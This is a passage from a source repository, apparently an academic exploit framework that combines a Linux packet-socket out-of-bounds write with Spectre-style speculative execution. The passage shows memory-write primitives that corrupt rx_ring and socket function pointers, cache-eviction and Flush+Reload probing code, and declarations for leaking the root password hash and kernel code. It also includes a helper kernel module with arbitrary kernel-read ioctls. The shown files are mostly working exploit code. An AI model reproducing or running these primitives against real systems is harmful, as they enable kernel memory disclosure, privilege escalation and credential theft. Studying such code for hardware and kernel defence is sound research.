pbd = (struct block_desc *) rd[0].iov_base; 55 | pbd->h1.block_status = TP_STATUS_KERNEL; 56 | 57 | pbd = (struct block_desc *) rd[1].iov_base; 58 | pbd->h1.block_status = TP_STATUS_KERNEL; 59 | } 60 | 61 | // Sets the writing position of the arb_mem_writer socket. 62 | // The position is defined by the rx_ring.blk_sizeof_priv member of the packet socket. 63 | // The position is an offset from the arb_mem_writer's rx_ring buffer. 64 | // Updating the position with an oob write corrpts the rx_ring.pg_vec member. 65 | // Closing the socket with a corrupted pg_vec will cuase an error in the kernel 66 | // visible in dmesg. 67 | int cur_pos = -0x99999; 68 | void set_arb_mem_writer_pos(int pos) { 69 | if (pos < -0x1000 || pos > 32 * 1024) { 70 | printf("[-] Given pos is unsupported: %d (max pos beyond buffer=32kb), exiting..\n", pos); 71 | exit(0); 72 | } 73 | 74 | if (cur_pos == pos) return; 75 | cur_pos = pos; 76 | 77 | print_status_blocks(offset_writer->iov); // clear kernel buffers of offset_writer socket 78 | 79 | unsigned short blk_sizeof_priv = (unsigned short) calc_sizeof_priv(pos); 80 | 81 | char buffer[16]; 82 | memset(buffer, 0, sizeof(buffer)); 83 | buffer[4] = 0x44; 84 | *(unsigned short*) &buffer[12] = blk_sizeof_priv; 85 | 86 | oob_write(buffer+2, sizeof(buffer)-2); 87 | } 88 | 89 | void write_skc_flags(unsigned long skc_flags) { 90 | print_status_blocks(arb_mem_writer->iov); // clear kernel buffers of arb_mem_writer socket 91 | 92 | char buffer[48]; 93 | memset(buffer, 0, sizeof(buffer)); 94 | 95 | *(unsigned long*) &buffer[40] = skc_flags; 96 | 97 | oob_write(buffer+2, sizeof(buffer)-2); 98 | } 99 | 100 | void set_curr_specex_socket(int sock); 101 | int get_specex_socket_offset(int specex_socket) { 102 | if (specex_socket == specex_socket_first) { 103 | return 0x0; 104 | } else { 105 | return 0x800; 106 | } 107 | } 108 | 109 | void write_fptr(int specex_socket, unsigned long val, int num_bytes) { 110 | set_curr_specex_socket(specex_socket); 111 | set_arb_mem_writer_pos(get_specex_socket_offset(specex_socket) + SK_WRITE_SPACE_OFFSET - 16); 112 | 113 | print_status_blocks(arb_mem_writer->iov); // clear kernel buffers of arb_mem_writer socket 114 | 115 | char buffer[24]; 116 | memset(buffer, 0, sizeof(buffer)); 117 | 118 | int valid_bytes = 16; 119 | while (num_bytes > 0) { 120 | buffer[valid_bytes] = (char) (val & 0xff); 121 | valid_bytes += 1; 122 | val >>= 8; 123 | num_bytes -= 1; 124 | } 125 | 126 | oob_write(buffer+2, valid_bytes-2); 127 | } 128 | 129 | void write_data_pointers(int specex_socket, unsigned long p1, unsigned long p2) { 130 | set_curr_specex_socket(specex_socket); 131 | set_arb_mem_writer_pos(get_specex_socket_offset(specex_socket) + FIRST_DEREF_IN_GADGET_SK_OFFSET - 0x30); 132 | 133 | print_status_blocks(arb_mem_writer->iov); // clear kernel buffers of arb_mem_writer socket 134 | 135 | char buffer[0x40]; 136 | memset(buffer, 0, sizeof(buffer)); 137 | 138 | buffer[0x2] = 0x03; 139 | buffer[0x22] = 0x03; 140 | *(unsigned long*) &buffer[0x28] = 0xffffffff024000c0; 141 | *(unsigned long*) &buffer[0x30] = p1; 142 | *(unsigned long*) &buffer[0x38] = p2; 143 | 144 | oob_write(buffer+2, sizeof(buffer)-2); 145 | } 146 | 147 | void write_spectre_data(int specex_socket, unsigned long spectre_gadget_addr, unsigned long array_base_addr, unsigned long data_ptr) { 148 | set_curr_specex_socket(specex_socket); 149 | set_arb_mem_writer_pos(get_specex_socket_offset(specex_socket) + SK_WRITE_SPACE_OFFSET - 16); 150 | 151 | print_status_blocks(arb_mem_writer->iov); // clear kernel buffers of arb_mem_writer socket 152 | 153 | char buffer[0x130]; 154 | memset(buffer, 0, sizeof(buffer)); 155 | 156 | *(unsigned long*) &buffer[0x010] = spectre_gadget_addr; // obj_base+0x298 157 | *(unsigned long*) &buffer[0x070] = data_ptr-0x28; // obj_base+0x2f8 158 | *(unsigned long*) &buffer[0x0f8] = array_base_addr; // obj_base+0x380 159 | *(unsigned long*) &buffer[0x128] = 1; // obj_base+0x3b0 160 | 161 | oob_write(buffer+2, sizeof(buffer)-2); 162 | } 163 | -------------------------------------------------------------------------------- /exploits/common/memwrite/memwrite.h: -------------------------------------------------------------------------------- 1 | #ifndef _MEMWRITE_H_ 2 | #define _MEMWRITE_H_ 3 | 4 | #include // struct iovec 5 | 6 | void print_status_blocks(struct iovec *rd); 7 | void oob_write(char *buffer, int size); 8 | void set_arb_mem_writer_pos(int pos); 9 | 10 | void write_skc_flags(unsigned long skc_flags); 11 | void write_fptr(int specex_socket, unsigned long val, int num_bytes); 12 | void write_data_pointers(int target_specex_socket, unsigned long p1, 13 | unsigned long p2); 14 | void write_spectre_data(int specex_socket, unsigned long spectre_gadget_addr, 15 | unsigned long array_base_addr, unsigned long data_ptr); 16 | 17 | #endif /* _MEMWRITE_H_ */ 18 | -------------------------------------------------------------------------------- /exploits/common/specex_leaks/specex_leaks.h: -------------------------------------------------------------------------------- 1 | #ifndef _PRIMITIVES_H_ 2 | #define _PRIMITIVES_H_ 3 | 4 | void init_specex_leaks(); 5 | void close_specex_leaks(); 6 | 7 | // Code Probing 8 | unsigned long find_kernel_image(); 9 | 10 | // Gadget Probing 11 | unsigned long find_spectre_gadget(unsigned long kernel_base); 12 | 13 | // Data Probing 14 | unsigned long find_heap_base_2deref(unsigned long kernel_base_address); 15 | unsigned long find_heap_base_spectre(unsigned long spectre_gadget_address); 16 | 17 | // Object Probing 18 | unsigned long find_oob_write_location_3deref(unsigned long kernel_base_address, 19 | unsigned long heap_base); 20 | 21 | // Spectre Probing 22 | unsigned long find_user_page_in_physmap(unsigned long user_page, 23 | unsigned long user_page_size, unsigned long heap_base, 24 | unsigned long gadget_addr, unsigned long kernel_base); 25 | void leak_root_password_hash(unsigned long spectre_gadget_addr, 26 | unsigned long heap_base, unsigned long user_page, 27 | unsigned long physmap_page); 28 | unsigned long find_spectre_gadget_start(unsigned long spectre_gadget_addr, 29 | unsigned long kernel_base, unsigned long code_size, unsigned long user_page, 30 | unsigned long physmap_page); 31 | void leak_kernel_code(unsigned long spectre_gadget_addr, 32 | unsigned long kernel_base, unsigned long code_size, unsigned long user_page, 33 | unsigned long physmap_page); 34 | void get_kernel_code_bytes(char** kernel_code_bytes, unsigned long* code_size); 35 | 36 | #endif /* _PRIMITIVES_H_ */ 37 | -------------------------------------------------------------------------------- /exploits/common/specex_utils/specex_utils.c: -------------------------------------------------------------------------------- 1 | #include "specex_utils.h" 2 | #include "envprep.h" 3 | #include "llc_prime_probe.h" 4 | #include "config.h" 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define INIT_SOCKFD_NUM_EVIC_PAGES 16 18 | #define NUM_ITER 1000000 19 | 20 | extern int curr_specex_socket; 21 | extern int specex_socket_first; 22 | extern int specex_sockets_evicset_idx; // for flag eviction in co-thread 23 | 24 | volatile char** sockfd_evicset_pages = NULL; 25 | volatile int sockfd_evicset_num_pages = 0; 26 | volatile int sockfd_evicset_num_pages_copy = 0; 27 | volatile int sockfd_evicset_num_pages_max = 0; 28 | volatile int sockfd_evicset_offset = 0; 29 | volatile int sockfd_evicset_offset_copy = 0; 30 | volatile int sockfd_evicset_rand_id = 0; 31 | volatile int sockfd_evicset_rand_id_copy = 0; 32 | 33 | void change_sockfd_evicset_offset(int new_offset); 34 | 35 | //* * * * * * Flag evicting co-thread handlers * * * * * 36 | 37 | // New thread is co-located on the same physical core as the main thread but on 38 | // the other logical core on the physical core. 39 | // This thread is responsible for evicting the flags in the socket object 40 | // used for speculative execution. 41 | void* start_co_thread(void* arg) { 42 | set_cpu(CO_THREAD_CPU_ID); 43 | 44 | if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL)) { 45 | printf("[-] new thread: pthread_setcanceltype failed\n"); 46 | return NULL; 47 | } 48 | 49 | int i; 50 | while(1) { 51 | uint64_t num_iter = NUM_ITER; 52 | int rand_id = sockfd_evicset_rand_id; 53 | int offset = sockfd_evicset_offset; 54 | int num_pages = sockfd_evicset_num_pages; 55 | 56 | while(num_iter) { 57 | for (i = 0; i < num_pages; i++) { 58 | *(sockfd_evicset_pages[i] + offset); 59 | } 60 | for (i = num_pages - 1; i >= 0; i--) { 61 | *(sockfd_evicset_pages[i] + offset); 62 | } 63 | num_iter -= 1; 64 | } 65 | 66 | sockfd_evicset_num_pages_copy = num_pages; 67 | sockfd_evicset_offset_copy = offset; 68 | sockfd_evicset_rand_id_copy = rand_id; 69 | } 70 | 71 | return NULL; 72 | } 73 | 74 | pthread_t flag_evic_thread; 75 | void start_flag_eviction_in_co_thread() { 76 | if (specex_sockets_evicset_idx < 0) { 77 | printf("[-] Unexpected, cant start co_thread with unknown specex_sockets_evicset_idx\n"); 78 | exit(1); 79 | } 80 | 81 | sockfd_evicset_pages = malloc(INIT_SOCKFD_NUM_EVIC_PAGES * sizeof(char*)); 82 | sockfd_evicset_num_pages = pp_get_evicset_pages(specex_sockets_evicset_idx, (char**)sockfd_evicset_pages, INIT_SOCKFD_NUM_EVIC_PAGES); 83 | sockfd_evicset_num_pages_max = sockfd_evicset_num_pages; 84 | 85 | sockfd_evicset_offset = 0x860; // offset of flag 86 | sockfd_evicset_offset_copy = 0x0; 87 | 88 | int r = pthread_create(&flag_evic_thread, NULL, &start_co_thread, NULL); 89 | if (r != 0) { 90 | printf("[-] Failed to create co thread..\n"); 91 | exit(1); 92 | } 93 | 94 | while (sockfd_evicset_offset_copy != sockfd_evicset_offset) { 95 | // wait for thread to finish one iteration so we are sure it is up and running 96 | } 97 | 98 | printf("\n[.] configured thread in adjacent logical core on the same physical core responsible for evicting conditional branch flag\n"); 99 | } 100 | 101 | void stop_co_thread() { 102 | pthread_cancel(flag_evic_thread); 103 | pthread_join(flag_evic_thread, NULL); 104 | flag_evic_thread = 0x0; 105 | free(sockfd_evicset_pages); 106 | sockfd_evicset_pages = NULL; 107 | } 108 | 109 | void change_sockfd_evicset_offset(int new_offset) { 110 | sockfd_evicset_offset = new_offset; 111 | 112 | sockfd_evicset_rand_id = rand(); 113 | while (sockfd_evicset_rand_id_copy != sockfd_evicset_rand_id) { 114 | // wait for thread to finish one iteration so we are sure offset is propagated 115 | } 116 | } 117 | 118 | void set_curr_specex_socket(int sock) { 119 | if (sock == curr_specex_socket) return; 120 | 121 | if (sock == specex_socket_first) { 122 | change_sockfd_evicset_offset(0x060); 123 | } else { 124 | change_sockfd_evicset_offset(0x860); 125 | } 126 | 127 | curr_specex_socket = sock; 128 | } 129 | 130 | //* * * * * * Speculative execution plus P+P and F+R * * * * * 131 | 132 | char tbuffer[16]; 133 | int tsize = 0; 134 | struct sockaddr_ll tsa; 135 | int training_socket = -1; 136 | 137 | void train_branch() { 138 | if (training_socket < 0) { 139 | training_socket = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 140 | if (training_socket == -1) { 141 | perror("[-] socket(SOCK_RAW)"); 142 | exit(EXIT_FAILURE); 143 | } 144 | 145 | tsize = sizeof(tbuffer); 146 | 147 | memset(&tsa, 0, sizeof(tsa)); 148 | tsa.sll_ifindex = if_nametoindex("lo"); 149 | tsa.sll_halen = ETH_ALEN; 150 | } 151 | 152 | int i; 153 | for (i = 0; i < 5; ++i) { 154 | if (sendto(training_socket, tbuffer, tsize, 0, (struct sockaddr *)&tsa, 155 | sizeof(tsa)) < 0) { 156 | perror("[-] sendto(SOCK_RAW)"); 157 | exit(EXIT_FAILURE); 158 | } 159 | } 160 | } 161 | 162 | #define SPECEX_BUF_SIZE 16 163 | char specex_buffer[SPECEX_BUF_SIZE]; 164 | struct sockaddr_ll specex_sa; 165 | 166 | int specex_check_signal_pp(int num_execs, int min_evicts, int base_array_evicset_idx, int cacheline_idx) { 167 | int x, evicts = 0; 168 | for(x = 0; x < num_execs; x++) { 169 | train_branch(); 170 | pp_prime_cacheset(base_array_evicset_idx, cacheline_idx); 171 | sendto(curr_specex_socket, specex_buffer, SPECEX_BUF_SIZE, 0, (struct sockaddr *)&specex_sa, sizeof(specex_sa)); 172 | if (pp_probe_cacheset_access_time(base_array_evicset_idx, cacheline_idx) > 310) { 173 | evicts += 1; 174 | if (evicts == min_evicts) { 175 | return 1; 176 | } 177 | } 178 | } 179 | return 0; 180 | } 181 | 182 | __attribute__ ((noinline)) 183 | long syscall6(long syscall, long arg1, long arg2, long arg3, long arg4, long arg5, long arg6) { 184 | long ret = 0; 185 | asm volatile ( 186 | "push %%rbp;" 187 | "mov %1,%%rax;" 188 | "mov %2,%%rbx;" 189 | "mov %3,%%rcx;" 190 | "mov %4,%%rdx;" 191 | "mov %5,%%rsi;" 192 | "mov %6,%%rdi;" 193 | "mov %7,%%rbp;" 194 | "int $0x80;" 195 | "mov %%rax, %0;" 196 | "pop %%rbp;" 197 | : "=r" (ret) 198 | : "r" (syscall), "r" (arg1), "r" (arg2), "r" (arg3), 199 | "r" (arg4), "r" (arg5), "r" (arg6) 200 | : "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "rbp" 201 | ); 202 | return ret; 203 | } 204 | 205 | int use_int0x80 = 0; 206 | void* mapped_page = NULL; 207 | void* mapped_buf = NULL; 208 | struct sockaddr_ll* mapped_sa = NULL; 209 | 210 | __attribute__((always_inline)) 211 | unsigned long probe(const char *adrs) 212 | { 213 | volatile unsigned long time; 214 | 215 | asm __volatile__ ( 216 | "mfence \n" 217 | "lfence \n" 218 | "rdtsc \n" 219 | "lfence \n" 220 | "movl %%eax, %%esi \n" 221 | "movl (%1), %%eax \n" 222 | "lfence \n" 223 | "rdtsc \n" 224 | "subl %%esi, %%eax \n" 225 | //"clflush 0(%1) \n" 226 | : "=a" (time) 227 | : "c" (adrs) 228 | : "%esi", "%edx"); 229 | 230 | return time; 231 | } 232 | 233 | 234 | __attribute__ ((always_inline)) 235 | void flush(volatile void *p) 236 | { 237 | //printf("flush addr: 0x%lx\n", (unsigned long) p); 238 | 239 | asm volatile( 240 | "clflushopt (%0)\n" 241 | //"mfence \n" 242 | //"lfence \n" 243 | :: "r" (p) 244 | ); 245 | } 246 | 247 | __attribute__((always_inline)) 248 | int specex_check_signal_fr(int num_execs, int min_hits, unsigned long signal_addr) { 249 | int i; 250 | int hits = 0; 251 | if (use_int0x80) { 252 | for (i = 0; i < num_execs; i++) { 253 | train_branch(); 254 | 255 | flush((volatile void*) signal_addr); 256 | asm volatile( 257 | "mfence \n" 258 | :: 259 | ); 260 | syscall6(369, (long) curr_specex_socket, (long)mapped_buf, (long)SPECEX_BUF_SIZE, 0, (long)mapped_sa, sizeof(struct sockaddr_ll)); 261 | if (probe((const char*) signal_addr) < 100) { 262 | hits++; 263 | if (hits == min_hits) { 264 | return 1; 265 | } 266 | } 267 | } 268 | } else { 269 | for (i = 0; i < num_execs; i++) { 270 | train_branch(); 271 | 272 | flush((volatile void*) signal_addr); 273 | asm volatile( 274 | "mfence \n" 275 | :: 276 | ); 277 | sendto(curr_specex_socket, specex_buffer, SPECEX_BUF_SIZE, 0, (struct sockaddr *)&specex_sa, sizeof(specex_sa)); 278 | if (probe((const char*) signal_addr) < 100) { 279 | hits++; 280 | if (hits == min_hits) { 281 | return 1; 282 | } 283 | } 284 | } 285 | } 286 | 287 | return 0; 288 | } 289 | 290 | void init_specex_utils() { 291 | // for normal sendto syscall 292 | memset(&specex_sa, 0, sizeof(specex_sa)); 293 | specex_sa.sll_ifindex = if_nametoindex("lo"); 294 | specex_sa.sll_halen = ETH_ALEN; 295 | 296 | // for int 0x80 sendto syscall 297 | mapped_page = mmap((void*)0x880000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0); 298 | if (mapped_page == MAP_FAILED) { 299 | perror("mmap"); 300 | exit(1); 301 | } 302 | memset(mapped_page, 0x00, 0x1000); 303 | mapped_buf = mapped_page + 0x100; 304 | mapped_sa = mapped_page + 0x600; 305 | 306 | memcpy(mapped_buf, specex_buffer, SPECEX_BUF_SIZE); 307 | memcpy(mapped_sa, &specex_sa, sizeof(struct sockaddr_ll)); 308 | } 309 | -------------------------------------------------------------------------------- /exploits/common/specex_utils/specex_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef _SPECEX_H_ 2 | #define _SPECEX_H_ 3 | 4 | extern int use_int0x80; 5 | 6 | void set_curr_specex_socket(int sock); 7 | void start_flag_eviction_in_co_thread(); 8 | void stop_co_thread(); 9 | 10 | int specex_check_signal_pp(int num_execs, int min_evicts, 11 | int base_array_evicset_idx, int cacheline_idx); 12 | int specex_check_signal_fr(int num_execs, int min_hits, 13 | unsigned long signal_addr); 14 | 15 | void init_specex_utils(); 16 | 17 | #endif /* _SPECEX_H_ */ 18 | -------------------------------------------------------------------------------- /kmod/.gitignore: -------------------------------------------------------------------------------- 1 | .*.cmd 2 | *.o 3 | *.ko 4 | *.mod.c 5 | .tmp_versions 6 | Module.symvers 7 | modules.order 8 | test 9 | -------------------------------------------------------------------------------- /kmod/Makefile: -------------------------------------------------------------------------------- 1 | KMOD_DIR := $(patsubst %/,%,$(dir $(abspath $(lastword $(MAKEFILE_LIST))))) 2 | 3 | obj-m += kmod.o 4 | 5 | all: kmod.ko libkmod_driver.so test 6 | 7 | kmod.ko: kmod.c kmod.h 8 | make V=1 -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 9 | 10 | insmod: 11 | sudo insmod ./kmod.ko 12 | 13 | install: uninstall kmod.ko insmod 14 | sudo mknod /dev/kmod_dev c 144 0 15 | 16 | uninstall: 17 | sudo rm -f /dev/kmod_dev 18 | sudo rmmod kmod || true 19 | 20 | libkmod_driver.so: kmod_driver.c kmod_driver.h 21 | gcc -O2 -o libkmod_driver.so kmod_driver.c -shared -fpic 22 | 23 | test: test.c libkmod_driver.so 24 | gcc -O2 test.c -o test -I$(KMOD_DIR) -L$(KMOD_DIR) -Wl,-rpath=$(KMOD_DIR) -lkmod_driver 25 | 26 | clean: 27 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 28 | rm -rf libkmod_driver.so test 29 | -------------------------------------------------------------------------------- /kmod/kmod.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel module tutorial at: http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html#AEN121 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | 17 | #include "kmod.h" 18 | #define DEVICE_NAME "kmod" 19 | #define SUCCESS 0 20 | 21 | MODULE_LICENSE("GPL"); 22 | 23 | static int device_open(struct inode *inode, struct file *file) 24 | { 25 | return SUCCESS; 26 | } 27 | 28 | static int device_release(struct inode *inode, struct file *file) 29 | { 30 | return SUCCESS; 31 | } 32 | 33 | int pmd_huge(pmd_t pmd) 34 | { 35 | return !pmd_none(pmd) && 36 | (pmd_val(pmd) & (_PAGE_PRESENT|_PAGE_PSE)) != _PAGE_PRESENT; 37 | } 38 | 39 | #define P4D_PRESENT 0 40 | static int virt_to_phys_through_page_table_walk(void* virt_addr, void **phys_addr, int *is_huge_page){ 41 | pgd_t *pgd; 42 | #if P4D_PRESENT 43 | p4d_t *p4d; 44 | #endif 45 | pud_t *pud; 46 | pmd_t *pmd; 47 | pte_t *ptep, pte; 48 | 49 | struct page *page = NULL; 50 | 51 | pgd = pgd_offset(current->mm, (unsigned long) virt_addr); 52 | if (pgd_none(*pgd) || unlikely(pgd_bad(*pgd))) 53 | return -1; 54 | 55 | #if P4D_PRESENT 56 | p4d = p4d_offset(pgd, (unsigned long) virt_addr); 57 | if (p4d_none(*p4d) || unlikely(p4d_bad(*p4d))) 58 | return -2; 59 | 60 | pud = pud_offset(p4d, (unsigned long) virt_addr); 61 | #else 62 | pud = pud_offset(pgd, (unsigned long) virt_addr); 63 | #endif 64 | if (pud_none(*pud)) 65 | return -3; 66 | if (unlikely(pud_bad(*pud))) 67 | return -31; 68 | 69 | pmd = pmd_offset(pud, (unsigned long) virt_addr); 70 | VM_BUG_ON(pmd_trans_huge(*pmd)); 71 | 72 | if(pmd_huge(*pmd)){ 73 | *is_huge_page = 1; 74 | page = pmd_page(*pmd); 75 | *phys_addr = (void*) page_to_phys(page); 76 | return 0; 77 | } 78 | 79 | ptep = pte_offset_map(pmd, (unsigned long) virt_addr); 80 | if (!ptep) 81 | return -4; 82 | 83 | if(!pte_present(*ptep)){ 84 | //printk(KERN_INFO " pte is not present. vaddr: 0x%lx\n", (unsigned long) virt_addr); 85 | return -5; 86 | } 87 | 88 | pte = *ptep; 89 | 90 | page = pte_page(pte); 91 | *phys_addr = (void*) page_to_phys(page); 92 | 93 | pte_unmap(ptep); 94 | 95 | return 0; 96 | } 97 | 98 | static long 99 | device_ioctl( 100 | struct file *file, 101 | unsigned int ioctl_num, 102 | unsigned long ioctl_param) 103 | { 104 | INIT_KMOD_DATA(data); 105 | int i, err; 106 | struct socket *sock; 107 | unsigned long probed_values = 0; 108 | 109 | switch (ioctl_num) { 110 | case IOCTL_KM_VIRT_TO_PHYS: 111 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 112 | return -ENOMEM; 113 | } 114 | 115 | //data.addr_out = (void*) virt_to_phys(data.addr_in); 116 | err = virt_to_phys_through_page_table_walk(data.addr_in, &data.addr_out, &data.addr_is_huge_page); 117 | if (data.addr_is_huge_page) { 118 | data.addr_out += ((unsigned long) data.addr_in) & (0x200000ul-1); 119 | } else { 120 | data.addr_out += ((unsigned long) data.addr_in) & (0x1000ul-1); 121 | } 122 | if (err) { 123 | printk("virt_to_phys_through_page_table_walk failed: %d\n", err); 124 | return err; 125 | } 126 | 127 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 128 | return -ENOMEM; 129 | } 130 | 131 | break; 132 | 133 | case IOCTL_KM_GET_KERNEL_BASE: 134 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 135 | return -ENOMEM; 136 | } 137 | 138 | data.addr_out = (void*) kallsyms_lookup_name("startup_64"); 139 | 140 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 141 | return -ENOMEM; 142 | } 143 | 144 | break; 145 | 146 | case IOCTL_KM_GET_SPECTRE_ADDR: 147 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 148 | return -ENOMEM; 149 | } 150 | 151 | data.addr_out = (void*) kallsyms_lookup_name("vp_del_vqs"); 152 | 153 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 154 | return -ENOMEM; 155 | } 156 | 157 | break; 158 | 159 | case IOCTL_KM_GET_PHYSMAP_BASE: 160 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 161 | return -ENOMEM; 162 | } 163 | 164 | data.addr_out = (void*) PAGE_OFFSET; 165 | 166 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 167 | return -ENOMEM; 168 | } 169 | 170 | break; 171 | 172 | case IOCTL_KM_GET_SOCK_ADDR: 173 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 174 | return -ENOMEM; 175 | } 176 | 177 | sock = sockfd_lookup((int) data.value, &err); // XXX handle err 178 | data.addr_out = sock->sk; 179 | sockfd_put(sock); 180 | 181 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 182 | return -ENOMEM; 183 | } 184 | 185 | break; 186 | 187 | case IOCTL_KM_PROBE_PAGE: 188 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 189 | return -ENOMEM; 190 | } 191 | 192 | probed_values = 1; 193 | for(i = 0; i < 0x1000; i += 8){ 194 | probed_values += *(unsigned long*)(data.addr_in + i); 195 | } 196 | 197 | data.addr_out = (void*) probed_values; 198 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 199 | return -ENOMEM; 200 | } 201 | 202 | break; 203 | 204 | case IOCTL_KM_8BYTES_AT_ADDR: 205 | if(copy_from_user((void*)&data, (void*)ioctl_param, sizeof(struct kmod_data))){ 206 | return -ENOMEM; 207 | } 208 | 209 | data.addr_out = (void*) *(unsigned long*)(data.addr_in); 210 | if(copy_to_user((void*)ioctl_param, (void*)&data, sizeof(struct kmod_data))){ 211 | return -ENOMEM; 212 | } 213 | 214 | break; 215 | 216 | default: 217 | printk("kmod ioctl: no such command %d\n", ioctl_num); 218 | return -EINVAL; 219 | } 220 | 221 | return SUCCESS; 222 | } 223 | 224 | struct file_operations Fops = { 225 | .unlocked_ioctl = device_ioctl, 226 | .open = device_open, 227 | .release = device_release, 228 | }; 229 | 230 | int init_module() 231 | { 232 | int ret_val; 233 | 234 | ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &Fops); 235 | if (ret_val < 0) { 236 | printk(KERN_ALERT "%s failed with %d\n", 237 | "Sorry, registering the character device ", ret_val); 238 | return ret_val; 239 | } 240 | 241 | printk(KERN_INFO "%s The major device number is %d.\n", 242 | "Registeration is a success", MAJOR_NUM); 243 | printk(KERN_INFO "If you want to talk to the device driver,\n"); 244 | printk(KERN_INFO "you'll have to create a device file. \n"); 245 | printk(KERN_INFO "We suggest you use:\n"); 246 | printk(KERN_INFO "mknod %s c %d 0\n", DEVICE_FILE_NAME, MAJOR_NUM); 247 | printk(KERN_INFO "The device file name is important, because\n"); 248 | printk(KERN_INFO "the ioctl program assumes that's the\n"); 249 | printk(KERN_INFO "file you'll use.\n"); 250 | 251 | return 0; 252 | } 253 | 254 | void cleanup_module() 255 | { 256 | unregister_chrdev(MAJOR_NUM, DEVICE_NAME); 257 | } 258 | -------------------------------------------------------------------------------- /kmod/kmod.h: -------------------------------------------------------------------------------- 1 | #ifndef KMOD_H 2 | #define KMOD_H 3 | 4 | #include 5 | 6 | #define MAJOR_NUM 144 7 | 8 | #define IOCTL_KM_VIRT_TO_PHYS _IOWR(MAJOR_NUM, 0, struct kmod_data *) 9 | #define IOCTL_KM_GET_KERNEL_BASE _IOWR(MAJOR_NUM, 1, struct kmod_data *) 10 | #define IOCTL_KM_GET_SPECTRE_ADDR _IOWR(MAJOR_NUM, 2, struct kmod_data *) 11 | #define IOCTL_KM_GET_PHYSMAP_BASE _IOWR(MAJOR_NUM, 3, struct kmod_data *) 12 | #define IOCTL_KM_GET_SOCK_ADDR _IOWR(MAJOR_NUM, 4, struct kmod_data *) 13 | #define IOCTL_KM_PROBE_PAGE _IOWR(MAJOR_NUM, 5, struct kmod_data *) 14 | #define IOCTL_KM_8BYTES_AT_ADDR _IOWR(MAJOR_NUM, 6, struct kmod_data *) 15 | 16 | #define DEVICE_FILE_NAME "/dev/kmod_dev" 17 | 18 | struct kmod_data { 19 | void *addr_in; 20 | void *addr_out; 21 | int addr_is_huge_page; 22 | unsigned long value; 23 | }; 24 | 25 | #define INIT_KMOD_DATA(N) struct kmod_data N = {.addr_in = NULL, .addr_out = NULL, .addr_is_huge_page = 0, .value = 0} 26 | 27 | #endif /* KMOD_H */ 28 | -------------------------------------------------------------------------------- /kmod/kmod_driver.c: -------------------------------------------------------------------------------- 1 | #include "kmod_driver.h" 2 | #include "kmod.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | int kd_fd = -1; 13 | 14 | void kd_close_tmp() { 15 | close(kd_fd); 16 | kd_fd = -1; 17 | } 18 | 19 | int kd_open() { 20 | if (kd_fd >= 0) return 0; 21 | 22 | int res = open(DEVICE_FILE_NAME, 0); 23 | if(res < 0){ 24 | printf("Can't open device file: %s. res: %d\n", DEVICE_FILE_NAME, res); 25 | return res; 26 | } 27 | 28 | kd_fd = res; 29 | 30 | atexit(kd_close_tmp); 31 | 32 | return 0; 33 | } 34 | 35 | int kd_close() { 36 | return 0; 37 | } 38 | 39 | int kd_get_phys_addr(void* virt_addr, void** phys_addr) { 40 | INIT_KMOD_DATA(data); 41 | int res; 42 | 43 | if (kd_fd < 0) { 44 | res = kd_open(); 45 | if (res) return res; 46 | } 47 | 48 | data.addr_in = virt_addr; 49 | 50 | res = ioctl(kd_fd, IOCTL_KM_VIRT_TO_PHYS, &data); 51 | if(res) { 52 | printf("IOCTL_KM_VIRT_TO_PHYS failed. res: %d\n", res); 53 | return res; 54 | } 55 | 56 | //printf("%s: %p\n", __FUNCTION__, data.addr_out); 57 | 58 | *phys_addr = data.addr_out; 59 | 60 | return 0; 61 | } 62 | 63 | int kd_get_kimage_base(void** kimage_base) { 64 | INIT_KMOD_DATA(data); 65 | int res; 66 | 67 | if (kd_fd < 0) { 68 | res = kd_open(); 69 | if (res) return res; 70 | } 71 | 72 | res = ioctl(kd_fd, IOCTL_KM_GET_KERNEL_BASE, &data); 73 | if(res) { 74 | printf("IOCTL_KM_GET_KERNEL_BASE failed. res: %d\n", res); 75 | return res; 76 | } 77 | 78 | //printf("%s: %p\n", __FUNCTION__, data.addr_out); 79 | 80 | *kimage_base = data.addr_out; 81 | 82 | return 0; 83 | } 84 | 85 | int kd_get_spectre_addr(void** spectre_addr) { 86 | INIT_KMOD_DATA(data); 87 | int res; 88 | 89 | if (kd_fd < 0) { 90 | res = kd_open(); 91 | if (res) return res; 92 | } 93 | 94 | res = ioctl(kd_fd, IOCTL_KM_GET_SPECTRE_ADDR, &data); 95 | if(res) { 96 | printf("IOCTL_KM_GET_SPECTRE_ADDR failed. res: %d\n", res); 97 | return res; 98 | } 99 | 100 | //printf("%s: %p\n", __FUNCTION__, data.addr_out); 101 | 102 | 